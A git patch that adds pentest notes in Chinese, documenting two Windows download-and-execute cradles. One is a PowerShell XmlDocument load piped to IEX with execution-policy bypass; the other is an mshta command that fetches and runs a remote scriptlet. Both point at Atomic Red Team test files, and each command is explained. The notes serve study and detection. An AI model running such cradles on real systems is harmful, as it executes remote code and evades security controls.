From 8a2e931d5a2fe15f5ada2aedd0165ed3a3505737 Mon Sep 17 00:00:00 2001 From: 233PC Date: Tue, 5 Dec 2023 00:50:52 +0800 Subject: [PATCH] =?UTF-8?q?=E4=B8=8B=E8=BD=BD=E4=B8=8E=E6=89=A7=E8=A1=8C?= =?UTF-8?q?=E8=84=9A=E6=9C=AC=20-=20XmlDocument,=20mshta?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Windows/index.md" | 91 +++++++++++++++++++ 1 file changed, 91 insertions(+) diff --git "a/docs/\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/Windows/index.md" "b/docs/\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/Windows/index.md" index 8203a094e..c0bf0a3df 100644 --- "a/docs/\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/Windows/index.md" +++ "b/docs/\347\275\221\347\273\234\345\256\211\345\205\250/\347\253\257\347\202\271\345\256\211\345\205\250/Windows/index.md" @@ -33,6 +33,8 @@ - [下载与执行文件](#下载与执行文件) - [Net.WebClient](#netwebclient) - [Msxml2.ServerXmlHttp](#msxml2serverxmlhttp) + - [Xml.XmlDocument](#xmlxmldocument) + - [mshta](#mshta) - [域渗透](#域渗透) - [域内提权-42278/42287](#域内提权-4227842287) @@ -1004,6 +1006,95 @@ IEX $comMsXml.ResponseText --- +### Xml.XmlDocument + +```cml +"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml');$Xml.command.a.execute | IEX" +``` +- `-exec bypass`: 绕过 PowerShell 的执行策略。 + + 默认情况下 Windows 为了安全起见可能会限制运行某些脚本。使用 `-exec bypass` 可以绕过这些限制,允许运行没有签名的脚本。 + +- `-noprofile`: 不加载 PowerShell 的配置文件 + +`test.xml`: +```xml + + + + write-host -ForegroundColor Cyan "$(Get-Date -Format s) Download Cradle test success!`n" + + + +``` + +```powershell +# 新建一个 XmlDocument 对象, 其作用是处理 XML 文档的 PowerShell 对象 +$Xml = (New-Object System.Xml.XmlDocument); +# 使用 XmlDocument 对象的 Load 方法加载一个指定 URL 的 XML 文件 +$Xml.Load('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml'); +# 使用 XmlDocument 对象的 command.a.execute 属性获取 XML 文件中的命令; 然后使用 Invoke-Expression 执行该命令 +$Xml.command.a.execute | IEX +``` + +--- + +### mshta + +```cmd +C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct').Exec();close()" +``` + +- `mshta` 是一个执行 HTML 应用程序(HTA)的工具。 + HTA 是由 HTML 和脚本(如 JavaScript 或 VBScript)组成的应用程序,它们在 Windows 上以类似于标准网页的方式运行 +- `javascript:a=GetObject('script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct').Exec();close()` + - `javascript:`: 指示 `mshta` 执行 JavaScript 代码 + - `a=GetObject('script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct').Exec();`: 获取 `mshta.sct` 中的命令并执行 + - `close()`: 关闭 `mshta` 窗口 + +`mshta.sct` + +```xml + + + + + + + + + + + + + + +``` + +![image-20231205000133728](http://cdn.ayusummer233.top/DailyNotes/202312050001127.png) + +--- + ## 域渗透 ### 域内提权-42278/42287